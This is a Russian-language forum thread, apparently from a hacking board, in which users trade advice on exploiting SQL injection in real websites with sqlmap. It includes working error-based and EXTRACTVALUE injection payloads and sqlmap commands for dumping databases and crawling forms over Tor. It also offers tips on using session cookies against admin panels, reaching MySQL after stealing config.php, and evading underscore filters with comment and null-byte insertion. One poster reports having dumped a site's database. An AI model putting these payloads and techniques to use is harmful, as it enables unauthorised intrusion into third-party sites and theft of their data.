Возможно ли в Sqlmap сразу задать для целевого сайта готовый payload? Почитав руководство, ничего по этому поводу не нашёл, а было бы неплохо запустить сразу с параметром нужного пайлоада и сразу же приступить к раскрутке, и не ждать несколько часов, пока он его будет перебирать.
можно указать какую базу использовать (--dbms), и тип уязвимости (--technique) работу по готовому пайлоду не находил
К сожалению, не то. Есть однотипные SQL иньекции в одном движке, но чтобы каждый URL засунуть в sqlmap, приходится ждать по нескольку часов пока он подберет под него тот же самый payload. Пока что использую подмену url в sqlite файле для конкретного сайта в sqlmap, и думал может быть есть способ менее геморный... но видимо нету. Ещё вопрос, столкнулся с непонятной вещью, когда из таблицы не получается извлечь никаких данных. Вытаскиваю все базы данных, успешно вытаскиваются. Дальше вытаскиваю таблицы для конкретной базы данных, они тоже прекрасно вытаскиваются. Но если я пытаюсь получить хоть какую то информацию из таблицы, то sqlmap не может ничего получить. Банальный запрос --sql-query="select count(*) from my_database._my_table" и выдаёт ошибку: Code: [10:51:05] [INFO] retrieved: [10:51:09] [WARNING] reflective value(s) found and filtering out [10:51:24] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done) [10:52:30] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) [10:52:34] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions select count(*) from my_database._my_table: None При этом все остальные запросы по типу select version() и так далее выполняются нормально, а при попытке получить информацию из таблицы или хотя бы количество записей, вот такая ошибка выскакивает.
Хмм, серьёзно, интересно. Запрос "select version()" выполняется нормально и выводит версию, а такой запрос: "select version() from information_schema.tables" возвращает none На многих сайтах. И count(*) from base.table не срабатывает, так же выплёвывает или none или ошибки, если кто поможет, буду безумно рад.
После скана сайта на уязвимость, выдало такую инфу. Code: sqlmap identified the following injection point(s) with a total of 275 HTTP(s) requests: --- Parameter: email (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: mailFlag=newsletter&email=QWln' AND (SELECT 5736 FROM(SELECT COUNT(*),CONCAT(0x716a717a71,(SELECT (ELT(5736=5736,1))),0x71717a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Jdzw'='Jdzw --- web application technology: PHP 5.3.29 back-end DBMS: MySQL 5.0 и в target.txt такое Code: https://www.site.com/index.php?option=sentMail (POST) mailFlag=newsletter&email=QWln Как дальше раскручивать чтобы получить таблицы ? Интересует сам запрос sqlmap.py -u "" и что указывать.
Code: -u "https://www.site.com/index.php?option=sentMail" --data="mailFlag=newsletter&email=1*" --dbs --tables
Почему вместо Code: mailFlag=newsletter&email=QWln подставляется в POST Code: mailFlag=newsletter&email=1* p.s. Базу сдампить вышло.
Code: mailFlag=newsletter&email=QWln подставляется в POST Code: mailFlag=newsletter&email=1* можно так mailFlag=newsletter&email=*
А как можно искать уязвимости GET запросами ? Если в качестве цели указывать корневой URL. Допустим, если POST запросы, то я так делаю Code: sqlmap.py -u "site.com" --forms --crawl=3 --random-agent --tor --batch И он сам уже ищет все доступные формы и пробует их на уязвимость.
Такой вопрос(ответа ненашол).Допустим имею доступ в админку сайта, можно её просканировать sqlmap на наличие иньекций, то есть можно ли авторизироватся через sqlmap в админке и начать поиск? P.S посетила мысль что надо авторизироватся в браузере,взять куки и вставить их в sqlamp. Правельно я мыслю?Если да, то подскажите какими командами это можно сделать.
есть Blind иньекция, расскручивается очень долго!Можно какнибудь ускорить процесс? кроме --threads 10?
я бы лучше вместо --threads 10 сделал --delay 1, так как при большом количестве запросов есть немаленькая вероятность что тебя забанят, а то и багу прикроют для sqlmap не нашел плагинов для ускорения блинда( а так есть например ветка https://forum.antichat.ru/threads/119047/(где то на рдоте вроде ещё был топик), нужный вектор можно заскриптовать
Вытащил с сайта config.php в нем есть данные подключения к БД.Но в поле хост "localhost" как можно подключиться к такой бд удаленно?
1й вариант - Сбрутить директорию на вхождение phpMyAdmin - залогиниться. 2й вариант - Набрать в cmd.exe ping ВАШ_ДОМЕН, узнали IP сервера - попробывали удаленно подключиться к mysql (не забываем port :3306 (обычно по дефолтку такой) ), подключиться можно с другого шелла. 3й вариант - узнать хостера, в гугле вбить его домен и префикс phpmyadmin (хостер дает общий доступ к phpmyadmin ) 4й вариант - если vds то смотреть по дефолт url нахождения phpmyadmin. + МОЙ ВОПРОС Уважаемые. Через sqlmap удалось раскрутить инъекцию. Вставил payload в браузер, все отлично выводится (DATABASE() и тп). Пробую чекнуть на DBs и тп - не получается. Потом понял что сам движок заменяет нижнее подчеркивание на символ запятая ( _ => ,) . Т.е никакие запросы с information_schema и тп не пройдут - отсюда и sqlmap ничего сделать не может (скриншот №1). Перевел в --sql-shell, пробую и такое (скриншот №2). Можно что придумать? Cпасибо. ps. payload такой index.php?id=93) AND EXTRACTVALUE(1660,CONCAT(0x5c,0x71707a7671,(SELECT MID((DATABASE()),1,50)),0x716a627171)) AND (1749=1749
"2й вариант - Набрать в cmd.exe ping ВАШ_ДОМЕН, узнали IP сервера - попробывали удаленно подключиться к mysql (не забываем port :3306 (обычно по дефолтку такой) ), подключиться можно с другого шелла." не факт что сработает, в конфиге же указано локалхост про обход _ ничего не нашел, как вариант брутить таблицы руками ещё советую попробовать добавить в запрос /*%00*/ или /*%0A*/ /*%0B*/ /*%0C*/ - может дурацкий реплейс завалится и не заменит _
так и? оперторы замены/регулярки не всегда корректно отработают если есть символы переноса или нулл байт, проверьте /*%00*/ /*%0A*/ в запросе, это ведь не долго ну то есть что то типа того select /*%00*/table_name from information_schema.tables limit 1;